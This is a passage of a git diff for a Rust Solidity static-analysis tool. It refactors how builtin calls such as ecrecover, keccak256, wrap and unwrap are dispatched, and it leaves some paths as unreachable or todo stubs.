name.starts_with("abi.") => self.abi_call_inner(arena, ctx, name, inputs, loc), + // address + "delegatecall" | "staticcall" | "call" | "code" | "balance" => { + self.address_call(ctx, name, loc) + } + // array + "push" | "pop" => self.array_call_inner(arena, ctx, name, inputs, loc), + // block + "blockhash" => self.block_call(arena, ctx, name, inputs, loc), + // dynamic sized builtins + "concat" => self.dyn_builtin_call(arena, ctx, name, inputs, loc), + // msg + "gasleft" => self.msg_call(ctx, name, loc), + // precompiles + "sha256" | "ripemd160" | "ecrecover" => { + self.precompile_call(arena, ctx, name, inputs, loc) + } + // solidity + "keccak256" | "addmod" | "mulmod" | "require" | "assert" => { + self.solidity_call(arena, ctx, name, inputs, loc) + } + // typing + "type" | "wrap" | "unwrap" => self.types_call(arena, ctx, name, inputs, loc), + e => Err(ExprErr::Todo( + loc, + format!("builtin function: {e:?} doesn't exist or isn't implemented"), + )), + } + } + /// Calls an intrinsic/builtin function call (casts, require, etc.) #[tracing::instrument(level = "trace", skip_all)] fn intrinsic_func_call( @@ -197,126 +237,127 @@ pub trait IntrinsicFuncCaller: func_idx: NodeIdx, ctx: ContextNode, ) -> Result<(), ExprErr> { - match self.node(func_idx) { - Node::Function(underlying) => { - if let Some(func_name) = &underlying.name { - match &*func_name.name { - // abi - _ if func_name.name.starts_with("abi.") => { - self.abi_call(arena, func_name.name.clone(), input_exprs, *loc, ctx) - } - // address - "delegatecall" | "staticcall" | "call" | "code" | "balance" => { - self.address_call(func_name.name.clone(), input_exprs, *loc, ctx) - } - // array - "push" | "pop" => { - self.array_call(arena, func_name.name.clone(), input_exprs, *loc, ctx) - } - // block - "blockhash" => { - self.block_call(arena, func_name.name.clone(), input_exprs, *loc, ctx) - } - // dynamic sized builtins - "concat" => self.dyn_builtin_call( - arena, - func_name.name.clone(), - input_exprs, - *loc, - ctx, - ), - // msg - "gasleft" => self.msg_call(func_name.name.clone(), input_exprs, *loc, ctx), - // precompiles - "sha256" | "ripemd160" | "ecrecover" => self.precompile_call( - arena, - func_name.name.clone(), - func_idx, - input_exprs, - *loc, - ctx, - ), - // solidity - "keccak256" | "addmod" | "mulmod" | "require" | "assert" => self - .solidity_call(arena, func_name.name.clone(), input_exprs, *loc, ctx), - // typing - "type" | "wrap" | "unwrap" => self.types_call( - arena, - func_name.name.clone(), - func_idx, - input_exprs, - *loc, - ctx, - ), - e => Err(ExprErr::Todo( - *loc, - format!("builtin function: {e:?} doesn't exist or isn't implemented"), - )), - } - } else { - panic!("unnamed builtin?") - } - } - Node::Builtin(Builtin::Array(_)) => { - // construct a new array - self.construct_array(arena, func_idx, input_exprs, *loc, ctx) - } - Node::Contract(_) => { - // construct a new contract - self.construct_contract(arena, func_idx, input_exprs, *loc, ctx) - } - Node::Struct(_) => { - // construct a struct - self.construct_struct(arena, func_idx, input_exprs, *loc, ctx) - } - Node::Builtin(ty) => { - // cast to type - self.cast(arena, ty.clone(), func_idx, input_exprs, *loc, ctx) - } - Node::ContextVar(_c) => { - // its a user type, just push it onto the stack - ctx.push_expr(ExprRet::Single(func_idx), self) - .into_expr_err(*loc)?; - Ok(()) - } - Node::Unresolved(_) => { - // Try to give a nice error - input_exprs.parse(arena, self, ctx, *loc)?; + unreachable!("Shouldnt have called this"); + // match self.node(func_idx) { + // Node::Function(underlying) => { + // if let Some(func_name) = &underlying.name { + // match &*func_name.name { + // // abi + // _ if func_name.name.starts_with("abi.") => { + // self.abi_call(arena, func_name.name.clone(), input_exprs, *loc, ctx) + // } + // // address + // "delegatecall" | "staticcall" | "call" | "code" | "balance" => { + // self.address_call(func_name.name.clone(), input_exprs, *loc, ctx) + // } + // // array + // "push" | "pop" => { + // self.array_call(arena, func_name.name.clone(), input_exprs, *loc, ctx) + // } + // // block + // "blockhash" => { + // self.block_call(arena, func_name.name.clone(), input_exprs, *loc, ctx) + // } + // // dynamic sized builtins + // "concat" => self.dyn_builtin_call( + // arena, + // func_name.name.clone(), + // input_exprs, + // *loc, + // ctx, + // ), + // // msg + // "gasleft" => self.msg_call(func_name.name.clone(), input_exprs, *loc, ctx), + // // precompiles + // "sha256" | "ripemd160" | "ecrecover" => self.precompile_call( + // arena, + // func_name.name.clone(), + // func_idx, + // input_exprs, + // *loc, + // ctx, + // ), + // // solidity + // "keccak256" | "addmod" | "mulmod" | "require" | "assert" => self + // .solidity_call(arena, func_name.name.clone(), input_exprs, *loc, ctx), + // // typing + // "type" | "wrap" | "unwrap" => self.types_call( + // arena, + // func_name.name.clone(), + // func_idx, + // input_exprs, + // *loc, + // ctx, + // ), + // e => Err(ExprErr::Todo( + // *loc, + // format!("builtin function: {e:?} doesn't exist or isn't implemented"), + // )), + // } + // } else { + // panic!("unnamed builtin?") + // } + // } + // Node::Builtin(Builtin::Array(_)) => { + // // construct a new array + // self.construct_array(arena, func_idx, input_exprs, *loc, ctx) + // } + // Node::Contract(_) => { + // // construct a new contract + // self.construct_contract(arena, func_idx, input_exprs, *loc, ctx) + // } + // Node::Struct(_) => { + // // construct a struct + // self.construct_struct(arena, func_idx, input_exprs, *loc, ctx) + // } + // Node::Builtin(ty) => { + // // cast to type + // self.cast(arena, ty.clone(), func_idx, input_exprs, *loc, ctx) + // } + // Node::ContextVar(_c) => { + // // its a user type, just push it onto the stack + // ctx.push_expr(ExprRet::Single(func_idx), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // Node::Unresolved(_) => { + // // Try to give a nice error + // input_exprs.parse(arena, self, ctx, *loc)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(inputs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs(loc, "Function call failed".to_string())) - }; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(inputs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { + // return Err(ExprErr::NoRhs(loc, "Function call failed".to_string())) + // }; - if matches!(inputs, ExprRet::CtxKilled(_)) { - ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let visible_funcs = ctx.visible_funcs(analyzer).into_expr_err(loc)? - .iter() - .map(|func| func.name(analyzer).unwrap()) - .collect::>(); + // if matches!(inputs, ExprRet::CtxKilled(_)) { + // ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // let visible_funcs = ctx.visible_funcs(analyzer).into_expr_err(loc)? + // .iter() + // .map(|func| func.name(analyzer).unwrap()) + // .collect::>(); - if let Node::Unresolved(ident) = analyzer.node(func_idx) { - Err(ExprErr::FunctionNotFound( - loc, - format!( - "Could not find function: \"{}{}\", context: {}, visible functions: {:#?}", - ident.name, - inputs.try_as_func_input_str(analyzer, arena), - ctx.path(analyzer), - visible_funcs - ) - )) - } else { - unreachable!() - } - }) - } - e => Err(ExprErr::FunctionNotFound( - *loc, - format!("Unhandled function call type: {e:?}"), - )), - } + // if let Node::Unresolved(ident) = analyzer.node(func_idx) { + // Err(ExprErr::FunctionNotFound( + // loc, + // format!( + // "Could not find function: \"{}{}\", context: {}, visible functions: {:#?}", + // ident.name, + // inputs.try_as_func_input_str(analyzer, arena), + // ctx.path(analyzer), + // visible_funcs + // ) + // )) + // } else { + // unreachable!() + // } + // }) + // } + // e => Err(ExprErr::FunctionNotFound( + // *loc, + // format!("Unhandled function call type: {e:?}"), + // )), + // } } } diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs b/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs index ad45f72f..d7d936d7 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs @@ -1,5 +1,3 @@ -use crate::func_caller::NamedOrUnnamedArgs; - use graph::{ nodes::{Builtin, ContextNode, ContextVar, ExprRet}, AnalyzerBackend, Node, @@ -13,13 +11,7 @@ impl MsgCaller for T where T: AnalyzerBackend + Sized { /// Perform a msg's builtin function call, like `gasleft()` - fn msg_call( - &mut self, - func_name: String, - _input_exprs: &NamedOrUnnamedArgs, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { + fn msg_call(&mut self, ctx: ContextNode, func_name: &str, loc: Loc) -> Result<(), ExprErr> { match &*func_name { "gasleft" => { let var = ContextVar::new_from_builtin( @@ -28,7 +20,7 @@ pub trait MsgCaller: AnalyzerBackend + Siz self, ) .into_expr_err(loc)?; - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.push_expr(ExprRet::Single(cvar), self) .into_expr_err(loc)?; Ok(()) diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs b/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs index 6b1aa216..efb29d0a 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs @@ -1,13 +1,12 @@ -use crate::func_caller::NamedOrUnnamedArgs; -use crate::{func_call::helper::CallerHelper, ContextBuilder, ExpressionParser}; -use graph::nodes::{FunctionNode, SubContextKind}; +use crate::func_call::helper::CallerHelper; +use graph::nodes::SubContextKind; use graph::{ elem::Elem, nodes::{Builtin, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ExprRet}, AnalyzerBackend, ContextEdge, Edge, Node, }; -use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; +use shared::{ExprErr, IntoExprErr, RangeArena}; use solang_parser::pt::{Expression, Loc}; @@ -24,152 +23,99 @@ pub trait PrecompileCaller: fn precompile_call( &mut self, arena: &mut RangeArena>, - func_name: String, - func_idx: NodeIdx, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, ctx: ContextNode, + func_name: &str, + inputs: ExprRet, + loc: Loc, ) -> Result<(), ExprErr> { match &*func_name { "sha256" => { - self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(input) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "sha256 call was not given input".to_string(), - )); - }; - if matches!(input, ExprRet::CtxKilled(_)) { - ctx.push_expr(input, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(Builtin::Bytes(32)).into(), - analyzer, - ) + // TODO: Compile time calculate the hash if we have concretes. + let var = ContextVar::new_from_builtin( + loc, + self.builtin_or_add(Builtin::Bytes(32)).into(), + self, + ) + .into_expr_err(loc)?; + let cvar = self.add_node(var); + ctx.push_expr(ExprRet::Single(cvar), self) .into_expr_err(loc)?; - let cvar = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(cvar), analyzer) - .into_expr_err(loc)?; - Ok(()) - }) + Ok(()) } "ripemd160" => { - self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(input) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "ripemd160 was not given input".to_string(), - )); - }; - if matches!(input, ExprRet::CtxKilled(_)) { - ctx.push_expr(input, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(Builtin::Bytes(32)).into(), - analyzer, - ) + // TODO: Compile time calculate the hash if we have concretes. + let var = ContextVar::new_from_builtin( + loc, + self.builtin_or_add(Builtin::Bytes(32)).into(), + self, + ) + .into_expr_err(loc)?; + let cvar = self.add_node(var); + ctx.push_expr(ExprRet::Single(cvar), self) .into_expr_err(loc)?; - let cvar = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(cvar), analyzer) - .into_expr_err(loc)?; - Ok(()) - }) + Ok(()) } "ecrecover" => { - input_exprs.parse(arena, self, ctx, loc)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let subctx_kind = SubContextKind::new_fn_call(ctx, None, func_idx.into(), true); - let cctx = - Context::new_subctx(subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let call_ctx = analyzer.add_node(Node::Context(cctx)); - ctx.set_child_call(call_ctx.into(), analyzer) - .into_expr_err(loc)?; - let call_node = analyzer.add_node(Node::FunctionCall); - analyzer.add_edge(call_node, func_idx, Edge::Context(ContextEdge::Call)); - analyzer.add_edge(call_node, ctx, Edge::Context(ContextEdge::Subcontext)); - analyzer.add_edge(call_ctx, call_node, Edge::Context(ContextEdge::Subcontext)); - - let Some(input) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "ecrecover did not receive inputs".to_string(), - )); - }; - - let input = if let Some(ordered_param_names) = - FunctionNode::from(func_idx).maybe_ordered_param_names(analyzer) - { - input_exprs.order(input, ordered_param_names) - } else { - input - }; - - if matches!(input, ExprRet::CtxKilled(_)) { - ctx.push_expr(input, analyzer).into_expr_err(loc)?; - return Ok(()); - } + let func_idx = *(self.builtin_fn_nodes().get("ecrecover").unwrap()); + let subctx_kind = SubContextKind::new_fn_call(ctx, None, func_idx.into(), true); + let cctx = Context::new_subctx(subctx_kind, loc, self, None).into_expr_err(loc)?; + let call_ctx = self.add_node(Node::Context(cctx)); + ctx.set_child_call(call_ctx.into(), self) + .into_expr_err(loc)?; + let call_node = self.add_node(Node::FunctionCall); + self.add_edge(call_node, func_idx, Edge::Context(ContextEdge::Call)); + self.add_edge(call_node, ctx, Edge::Context(ContextEdge::Subcontext)); + self.add_edge(call_ctx, call_node, Edge::Context(ContextEdge::Subcontext)); - let mut inner_vals = vec![]; - match input { - ExprRet::Single(var) | ExprRet::SingleLiteral(var) => { - inner_vals - .push(ContextVarNode::from(var).display_name(analyzer).unwrap()); - } - _ => inner_vals.push("".to_string()), + let mut inner_vals = vec![]; + match inputs { + ExprRet::Single(var) | ExprRet::SingleLiteral(var) => { + inner_vals.push(ContextVarNode::from(var).display_name(self).unwrap()); } - let inner_name = inner_vals.into_iter().collect::>().join(", "); - let mut var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(Builtin::Address).into(), - analyzer, - ) + _ => inner_vals.push("".to_string()), + } + let inner_name = inner_vals.into_iter().collect::>().join(", "); + let mut var = ContextVar::new_from_builtin( + loc, + self.builtin_or_add(Builtin::Address).into(), + self, + ) + .into_expr_err(loc)?; + var.display_name = format!("ecrecover({})", inner_name); + var.is_symbolic = true; + var.is_return = true; + let cvar = self.add_node(var); + ctx.add_var(cvar.into(), self).into_expr_err(loc)?; + self.add_edge(cvar, call_ctx, Edge::Context(ContextEdge::Variable)); + self.add_edge(cvar, call_ctx, Edge::Context(ContextEdge::Return)); + ContextNode::from(call_ctx) + .add_return_node(loc, cvar.into(), self) .into_expr_err(loc)?; - var.display_name = format!("ecrecover({})", inner_name); - var.is_symbolic = true; - var.is_return = true; - let cvar = analyzer.add_node(Node::ContextVar(var)); - ctx.add_var(cvar.into(), analyzer).into_expr_err(loc)?; - analyzer.add_edge(cvar, call_ctx, Edge::Context(ContextEdge::Variable)); - analyzer.add_edge(cvar, call_ctx, Edge::Context(ContextEdge::Return)); - ContextNode::from(call_ctx) - .add_return_node(loc, cvar.into(), analyzer) - .into_expr_err(loc)?; - let subctx_kind = SubContextKind::new_fn_ret(call_ctx.into(), ctx); - let rctx = - Context::new_subctx(subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let ret_ctx = analyzer.add_node(Node::Context(rctx)); - ContextNode::from(call_ctx) - .set_child_call(ret_ctx.into(), analyzer) - .into_expr_err(loc)?; + let subctx_kind = SubContextKind::new_fn_ret(call_ctx.into(), ctx); + let rctx = Context::new_subctx(subctx_kind, loc, self, None).into_expr_err(loc)?; + let ret_ctx = self.add_node(Node::Context(rctx)); + ContextNode::from(call_ctx) + .set_child_call(ret_ctx.into(), self) + .into_expr_err(loc)?; - let tmp_ret = ContextVarNode::from(cvar) - .as_tmp( - ContextNode::from(call_ctx) - .underlying(analyzer) - .unwrap() - .loc, - ret_ctx.into(), - analyzer, - ) - .unwrap(); - tmp_ret.underlying_mut(analyzer).unwrap().is_return = true; - tmp_ret.underlying_mut(analyzer).unwrap().display_name = - format!("ecrecover({}).return", inner_name); - ctx.add_var(tmp_ret, analyzer).into_expr_err(loc)?; - analyzer.add_edge(tmp_ret, ret_ctx, Edge::Context(ContextEdge::Variable)); + let tmp_ret = ContextVarNode::from(cvar) + .as_tmp( + ContextNode::from(call_ctx).underlying(self).unwrap().loc, + ret_ctx.into(), + self, + ) + .unwrap(); + tmp_ret.underlying_mut(self).unwrap().is_return = true; + tmp_ret.underlying_mut(self).unwrap().display_name = + format!("ecrecover({}).return", inner_name); + ctx.add_var(tmp_ret, self).into_expr_err(loc)?; + self.add_edge(tmp_ret, ret_ctx, Edge::Context(ContextEdge::Variable)); - ContextNode::from(ret_ctx) - .push_expr(ExprRet::Single(tmp_ret.into()), analyzer) - .into_expr_err(loc)?; - Ok(()) - }) + ContextNode::from(ret_ctx) + .push_expr(ExprRet::Single(tmp_ret.into()), self) + .into_expr_err(loc)?; + Ok(()) } _ => Err(ExprErr::FunctionNotFound( loc, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs b/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs index a394767d..87612587 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs @@ -1,5 +1,4 @@ -use crate::func_caller::NamedOrUnnamedArgs; -use crate::{func_call::helper::CallerHelper, require::Require, ContextBuilder, ExpressionParser}; +use crate::func_call::helper::CallerHelper; use graph::{ elem::Elem, @@ -24,96 +23,78 @@ pub trait SolidityCaller: fn solidity_call( &mut self, arena: &mut RangeArena>, - func_name: String, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, ctx: ContextNode, + func_name: &str, + inputs: ExprRet, + loc: Loc, ) -> Result<(), ExprErr> { match &*func_name { "keccak256" => { - self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(input) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs(loc, "No input into keccak256".to_string())); - }; - - let cvar = if let Ok(var) = input.expect_single() { - ContextVarNode::from(var) - } else { - return Err(ExprErr::NoRhs(loc, "No input into keccak256".to_string())); - }; + let cvar = if let Ok(var) = inputs.expect_single() { + ContextVarNode::from(var) + } else { + return Err(ExprErr::NoRhs(loc, "No input into keccak256".to_string())); + }; - if cvar.is_const(analyzer, arena).into_expr_err(loc)? { - let bytes = cvar - .evaled_range_min(analyzer, arena) - .unwrap() - .unwrap() - .as_bytes(analyzer, true, arena) - .unwrap(); - let mut out = [0; 32]; - keccak_hash::keccak_256(&bytes, &mut out); + if cvar.is_const(self, arena).into_expr_err(loc)? { + let bytes = cvar + .evaled_range_min(self, arena) + .unwrap() + .unwrap() + .as_bytes(self, true, arena) + .unwrap(); + let mut out = [0; 32]; + keccak_hash::keccak_256(&bytes, &mut out); - let hash = Node::Concrete(Concrete::from(H256(out))); - let hash_node = ConcreteNode::from(analyzer.add_node(hash)); - let var = ContextVar::new_from_concrete(loc, ctx, hash_node, analyzer) - .into_expr_err(loc)?; - let cvar = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(cvar), analyzer) - .into_expr_err(loc)?; - } else { - let var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(Builtin::Bytes(32)).into(), - analyzer, - ) + let hash_node = ConcreteNode::from(self.add_node(Concrete::from(H256(out)))); + let var = ContextVar::new_from_concrete(loc, ctx, hash_node, self) .into_expr_err(loc)?; - let cvar = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(cvar), analyzer) - .into_expr_err(loc)?; - } - - Ok(()) - }) - } - "addmod" => { - // TODO: actually calcuate this if possible - input_exprs.parse(arena, self, ctx, loc)?; - - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)?; + let cvar = self.add_node(var); + ctx.push_expr(ExprRet::Single(cvar), self) + .into_expr_err(loc)?; + } else { let var = ContextVar::new_from_builtin( loc, - analyzer.builtin_or_add(Builtin::Uint(256)).into(), - analyzer, + self.builtin_or_add(Builtin::Bytes(32)).into(), + self, ) .into_expr_err(loc)?; - let cvar = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(cvar), analyzer) + let cvar = self.add_node(var); + ctx.push_expr(ExprRet::Single(cvar), self) .into_expr_err(loc)?; - Ok(()) - }) + } + + Ok(()) + } + "addmod" => { + // TODO: actually calcuate this if possible + let var = ContextVar::new_from_builtin( + loc, + self.builtin_or_add(Builtin::Uint(256)).into(), + self, + ) + .into_expr_err(loc)?; + let cvar = self.add_node(var); + ctx.push_expr(ExprRet::Single(cvar), self) + .into_expr_err(loc)?; + Ok(()) } "mulmod" => { // TODO: actually calcuate this if possible - input_exprs.parse(arena, self, ctx, loc)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)?; - let var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(Builtin::Uint(256)).into(), - analyzer, - ) + let var = ContextVar::new_from_builtin( + loc, + self.builtin_or_add(Builtin::Uint(256)).into(), + self, + ) + .into_expr_err(loc)?; + let cvar = self.add_node(var); + ctx.push_expr(ExprRet::Single(cvar), self) .into_expr_err(loc)?; - let cvar = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(cvar), analyzer) - .into_expr_err(loc)?; - Ok(()) - }) + Ok(()) } "require" | "assert" => { - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, _loc| { - analyzer.handle_require(arena, input_exprs.unnamed_args().unwrap(), ctx) - }) + // self.handle_require(arena, input_exprs.unnamed_args().unwrap(), ctx) + todo!() } _ => Err(ExprErr::FunctionNotFound( loc, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/types.rs b/crates/solc-expressions/src/func_call/intrinsic_call/types.rs index c4dc5d21..48370678 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/types.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/types.rs @@ -22,119 +22,77 @@ pub trait TypesCaller: AnalyzerBackend + S fn types_call( &mut self, arena: &mut RangeArena>, - func_name: String, - func_idx: NodeIdx, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, ctx: ContextNode, + func_name: &str, + inputs: ExprRet, + loc: Loc, ) -> Result<(), ExprErr> { - match &*func_name { - "type" => self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx), + match func_name { + "type" => { + let mut inputs = inputs.as_vec(); + ctx.push_expr(inputs.swap_remove(0), self) + .into_expr_err(loc) + } "wrap" => { - if input_exprs.len() != 2 { - return Err(ExprErr::InvalidFunctionInput(loc, format!("Expected a member type and an input to the wrap function, but got: {:?}", input_exprs))); - } - - input_exprs.parse(arena, self, ctx, loc)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(input) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - ".wrap(..) did not receive an input".to_string(), - )); - }; - - let input = if let Some(ordered_param_names) = - FunctionNode::from(func_idx).maybe_ordered_param_names(analyzer) - { - input_exprs.order(input, ordered_param_names) - } else { - input - }; - - input.expect_length(2).into_expr_err(loc)?; - let ret = input.as_vec(); - let wrapping_ty = ret[0].expect_single().into_expr_err(loc)?; - let var = - ContextVar::new_from_ty(loc, TyNode::from(wrapping_ty), ctx, analyzer) - .into_expr_err(loc)?; - let to_be_wrapped = ret[1].expect_single().into_expr_err(loc)?; - let cvar = ContextVarNode::from(analyzer.add_node(Node::ContextVar(var))); - let next = analyzer.advance_var_in_ctx(cvar, loc, ctx)?; - let expr = Elem::Expr(RangeExpr::new( - Elem::from(to_be_wrapped), - RangeOp::Cast, - Elem::from(cvar), - )); - next.set_range_min(analyzer, arena, expr.clone()) - .into_expr_err(loc)?; - next.set_range_max(analyzer, arena, expr) - .into_expr_err(loc)?; - ctx.push_expr(ExprRet::Single(cvar.into()), analyzer) - .into_expr_err(loc) - }) + inputs.expect_length(2).into_expr_err(loc)?; + let ret = inputs.as_vec(); + let wrapping_ty = ret[0].expect_single().into_expr_err(loc)?; + let var = ContextVar::new_from_ty(loc, TyNode::from(wrapping_ty), ctx, self) + .into_expr_err(loc)?; + let to_be_wrapped = ret[1].expect_single().into_expr_err(loc)?; + let cvar = ContextVarNode::from(self.add_node(var)); + let next = self.advance_var_in_ctx(cvar, loc, ctx)?; + let expr = Elem::Expr(RangeExpr::new( + Elem::from(to_be_wrapped), + RangeOp::Cast, + Elem::from(cvar), + )); + next.set_range_min(self, arena, expr.clone()) + .into_expr_err(loc)?; + next.set_range_max(self, arena, expr).into_expr_err(loc)?; + ctx.push_expr(ExprRet::Single(cvar.into()), self) + .into_expr_err(loc) } "unwrap" => { - input_exprs.parse(arena, self, ctx, loc)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(input) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - ".unwrap(..) did not receive an input".to_string(), - )); - }; - - let input = if let Some(ordered_param_names) = - FunctionNode::from(func_idx).maybe_ordered_param_names(analyzer) - { - input_exprs.order(input, ordered_param_names) - } else { - input - }; - - input.expect_length(2).into_expr_err(loc)?; - let ret = input.as_vec(); - let wrapping_ty = ret[0].expect_single().into_expr_err(loc)?; - let mut var = ContextVar::new_from_builtin( - loc, - BuiltInNode::from( - TyNode::from(wrapping_ty) - .underlying(analyzer) - .into_expr_err(loc)? - .ty, - ), - analyzer, - ) - .into_expr_err(loc)?; - let to_be_unwrapped = ret[1].expect_single().into_expr_err(loc)?; - var.display_name = format!( - "{}.unwrap({})", + inputs.expect_length(2).into_expr_err(loc)?; + let ret = inputs.as_vec(); + let wrapping_ty = ret[0].expect_single().into_expr_err(loc)?; + let mut var = ContextVar::new_from_builtin( + loc, + BuiltInNode::from( TyNode::from(wrapping_ty) - .name(analyzer) - .into_expr_err(loc)?, - ContextVarNode::from(to_be_unwrapped) - .display_name(analyzer) + .underlying(self) .into_expr_err(loc)? - ); - - let cvar = ContextVarNode::from(analyzer.add_node(Node::ContextVar(var))); - cvar.set_range_min(analyzer, arena, Elem::from(to_be_unwrapped)) - .into_expr_err(loc)?; - cvar.set_range_max(analyzer, arena, Elem::from(to_be_unwrapped)) - .into_expr_err(loc)?; - let next = analyzer.advance_var_in_ctx(cvar, loc, ctx)?; - let expr = Elem::Expr(RangeExpr::new( - Elem::from(to_be_unwrapped), - RangeOp::Cast, - Elem::from(cvar), - )); - next.set_range_min(analyzer, arena, expr.clone()) - .into_expr_err(loc)?; - next.set_range_max(analyzer, arena, expr) - .into_expr_err(loc)?; - ctx.push_expr(ExprRet::Single(cvar.into()), analyzer) - .into_expr_err(loc) - }) + .ty, + ), + self, + ) + .into_expr_err(loc)?; + let to_be_unwrapped = ret[1].expect_single().into_expr_err(loc)?; + var.display_name = format!( + "{}.unwrap({})", + TyNode::from(wrapping_ty).name(self).into_expr_err(loc)?, + ContextVarNode::from(to_be_unwrapped) + .display_name(self) + .into_expr_err(loc)? + ); + + let cvar = ContextVarNode::from(self.add_node(var)); + cvar.set_range_min(self, arena, Elem::from(to_be_unwrapped)) + .into_expr_err(loc)?; + cvar.set_range_max(self, arena, Elem::from(to_be_unwrapped)) + .into_expr_err(loc)?; + let next = self.advance_var_in_ctx(cvar, loc, ctx)?; + let expr = Elem::Expr(RangeExpr::new( + Elem::from(to_be_unwrapped), + RangeOp::Cast, + Elem::from(cvar), + )); + next.set_range_min(self, arena, expr.clone()) + .into_expr_err(loc)?; + next.set_range_max(self, arena, expr).into_expr_err(loc)?; + ctx.push_expr(ExprRet::Single(cvar.into()), self) + .into_expr_err(loc) } _ => Err(ExprErr::FunctionNotFound( loc, diff --git a/crates/solc-expressions/src/list.rs b/crates/solc-expressions/src/list.rs index 4b2cfa6a..f171c117 100644 --- a/crates/solc-expressions/src/list.rs +++ b/crates/solc-expressions/src/list.rs @@ -45,7 +45,7 @@ pub trait List: AnalyzerBackend + Sized { is_return: false, ty, }; - let input_node = self.add_node(Node::ContextVar(var)); + let input_node = self.add_node(var); ctx.add_var(input_node.into(), self).into_expr_err(*loc)?; self.add_edge(input_node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(input_node)) @@ -71,7 +71,7 @@ pub trait List: AnalyzerBackend + Sized { is_return: false, ty, }; - let input_node = self.add_node(Node::ContextVar(new_lhs_underlying)); + let input_node = self.add_node(new_lhs_underlying); ctx.add_var(input_node.into(), self).into_expr_err(*loc)?; self.add_edge(input_node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(input_node)) @@ -118,7 +118,7 @@ pub trait List: AnalyzerBackend + Sized { is_return: false, ty, }; - let input_node = self.add_node(Node::ContextVar(var)); + let input_node = self.add_node(var); ctx.add_var(input_node.into(), self).into_expr_err(loc)?; self.add_edge(input_node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(input_node)) @@ -144,7 +144,7 @@ pub trait List: AnalyzerBackend + Sized { is_return: false, ty, }; - let input_node = 